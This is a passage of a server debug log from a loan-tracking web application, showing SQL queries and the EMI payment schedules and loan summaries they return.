    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-05-01T04:49:09.841Z server-connect:output update: { affected: 1 }
2026-05-01T04:49:10.068Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-05-01T04:49:10.069Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-05-01T04:49:10.070Z server-connect:app Executing action step identify
2026-05-01T04:49:10.070Z server-connect:app options: { provider: 'security' }
2026-05-01T04:49:10.070Z server-connect:output identity: 1
2026-05-01T04:49:10.070Z server-connect:app Executing action step restrict
2026-05-01T04:49:10.070Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:49:10.071Z server-connect:app Executing action step identify
2026-05-01T04:49:10.071Z server-connect:app options: { provider: 'security' }
2026-05-01T04:49:10.071Z server-connect:output identity: 1
2026-05-01T04:49:10.071Z server-connect:app Executing action step restrict
2026-05-01T04:49:10.071Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:49:10.071Z server-connect:output restrict: undefined
2026-05-01T04:49:10.071Z server-connect:app Executing action step select
2026-05-01T04:49:10.071Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-05-01T04:49:10.072Z server-connect:output restrict: undefined
2026-05-01T04:49:10.072Z server-connect:app Executing action step custom
2026-05-01T04:49:10.072Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-05-01T04:49:10.074Z server-connect:output list: [
  {
    id: 52,
    loan_id: 9,
    due_date: '2022-06-07T18:30:00.000Z',
    paid_on: '2022-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 53,
    loan_id: 9,
    due_date: '2022-07-07T18:30:00.000Z',
    paid_on: '2022-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 54,
    loan_id: 9,
    due_date: '2022-08-07T18:30:00.000Z',
    paid_on: '2022-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 55,
    loan_id: 9,
    due_date: '2022-09-07T18:30:00.000Z',
    paid_on: '2022-09-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 56,
    loan_id: 9,
    due_date: '2022-10-07T18:30:00.000Z',
    paid_on: '2022-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 57,
    loan_id: 9,
    due_date: '2022-11-07T18:30:00.000Z',
    paid_on: '2022-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 58,
    loan_id: 9,
    due_date: '2022-12-07T18:30:00.000Z',
    paid_on: '2022-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 59,
    loan_id: 9,
    due_date: '2023-01-07T18:30:00.000Z',
    paid_on: '2023-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 60,
    loan_id: 9,
    due_date: '2023-02-07T18:30:00.000Z',
    paid_on: '2023-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 61,
    loan_id: 9,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 62,
    loan_id: 9,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 63,
    loan_id: 9,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 64,
    loan_id: 9,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 65,
    loan_id: 9,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 66,
    loan_id: 9,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 67,
    loan_id: 9,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 68,
    loan_id: 9,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 69,
    loan_id: 9,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 70,
    loan_id: 9,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 71,
    loan_id: 9,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 72,
    loan_id: 9,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 73,
    loan_id: 9,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 74,
    loan_id: 9,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 75,
    loan_id: 9,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 76,
    loan_id: 9,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 77,
    loan_id: 9,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 78,
    loan_id: 9,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 79,
    loan_id: 9,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 80,
    loan_id: 9,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 81,
    loan_id: 9,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 82,
    loan_id: 9,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 83,
    loan_id: 9,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 84,
    loan_id: 9,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 85,
    loan_id: 9,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 86,
    loan_id: 9,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 87,
    loan_id: 9,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 88,
    loan_id: 9,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 89,
    loan_id: 9,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 90,
    loan_id: 9,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 91,
    loan_id: 9,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 92,
    loan_id: 9,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 93,
    loan_id: 9,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 94,
    loan_id: 9,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 95,
    loan_id: 9,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 96,
    loan_id: 9,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 97,
    loan_id: 9,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: '2026-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 98,
    loan_id: 9,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 99,
    loan_id: 9,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: '2026-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 100,
    loan_id: 9,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 101,
    loan_id: 9,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 102,
    loan_id: 9,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 103,
    loan_id: 9,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 104,
    loan_id: 9,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 105,
    loan_id: 9,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 106,
    loan_id: 9,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 107,
    loan_id: 9,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 108,
    loan_id: 9,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 109,
    loan_id: 9,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 110,
    loan_id: 9,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 111,
    loan_id: 9,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  }
]
2026-05-01T04:49:10.076Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '12',
    total_remaining_amount: 180168,
    total_paid_amount: 720672,
    percentage_paid: '80.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 54729,
    total_paid_amount: 602019,
    percentage_paid: '91.67'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '22',
    total_remaining_amount: 508398,
    total_paid_amount: 878142,
    percentage_paid: '63.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '10',
    total_remaining_amount: 220310,
    total_paid_amount: 837178,
    percentage_paid: '79.17'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 21344,
    total_paid_amount: 170752,
    percentage_paid: '88.89'
  }
]
2026-05-01T04:49:12.270Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-05-01T04:49:12.270Z server-connect:app Executing action step identify
2026-05-01T04:49:12.270Z server-connect:app options: { provider: 'security' }
2026-05-01T04:49:12.270Z server-connect:output identity: 1
2026-05-01T04:49:12.270Z server-connect:app Executing action step restrict
2026-05-01T04:49:12.270Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:49:12.271Z server-connect:output restrict: undefined
2026-05-01T04:49:12.271Z server-connect:app Executing action step select
2026-05-01T04:49:12.271Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-05-01T04:49:12.272Z server-connect:output list: [
  {
    id: 124,
    loan_id: 10,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 125,
    loan_id: 10,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 126,
    loan_id: 10,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 127,
    loan_id: 10,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 128,
    loan_id: 10,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 129,
    loan_id: 10,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 130,
    loan_id: 10,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 131,
    loan_id: 10,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 132,
    loan_id: 10,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 133,
    loan_id: 10,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 134,
    loan_id: 10,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 135,
    loan_id: 10,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 136,
    loan_id: 10,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 137,
    loan_id: 10,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 138,
    loan_id: 10,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-06-24T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 139,
    loan_id: 10,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 140,
    loan_id: 10,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 141,
    loan_id: 10,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-13T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 142,
    loan_id: 10,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 143,
    loan_id: 10,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 144,
    loan_id: 10,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 145,
    loan_id: 10,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 146,
    loan_id: 10,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 147,
    loan_id: 10,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 148,
    loan_id: 10,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 149,
    loan_id: 10,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 150,
    loan_id: 10,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 151,
    loan_id: 10,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 152,
    loan_id: 10,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-06-30T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 153,
    loan_id: 10,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 154,
    loan_id: 10,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 155,
    loan_id: 10,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 156,
    loan_id: 10,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-11T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 157,
    loan_id: 10,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 158,
    loan_id: 10,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 159,
    loan_id: 10,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  }
]
2026-05-01T04:49:16.263Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-05-01T04:49:16.263Z server-connect:app Executing action step identify
2026-05-01T04:49:16.263Z server-connect:app options: { provider: 'security' }
2026-05-01T04:49:16.263Z server-connect:output identity: 1
2026-05-01T04:49:16.263Z server-connect:app Executing action step restrict
2026-05-01T04:49:16.263Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:49:16.264Z server-connect:output restrict: undefined
2026-05-01T04:49:16.264Z server-connect:app Executing action step select
2026-05-01T04:49:16.264Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-05-01T04:49:16.266Z server-connect:output list: [
  {
    id: 161,
    loan_id: 11,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 162,
    loan_id: 11,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-04-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 163,
    loan_id: 11,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 164,
    loan_id: 11,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 165,
    loan_id: 11,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 166,
    loan_id: 11,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 167,
    loan_id: 11,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 168,
    loan_id: 11,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 169,
    loan_id: 11,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 170,
    loan_id: 11,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 171,
    loan_id: 11,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 172,
    loan_id: 11,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 173,
    loan_id: 11,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 174,
    loan_id: 11,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 175,
    loan_id: 11,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-05-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 176,
    loan_id: 11,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 177,
    loan_id: 11,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 178,
    loan_id: 11,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 179,
    loan_id: 11,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 180,
    loan_id: 11,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 181,
    loan_id: 11,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 182,
    loan_id: 11,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 183,
    loan_id: 11,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 184,
    loan_id: 11,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 185,
    loan_id: 11,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 186,
    loan_id: 11,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 187,
    loan_id: 11,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 188,
    loan_id: 11,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-06-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 189,
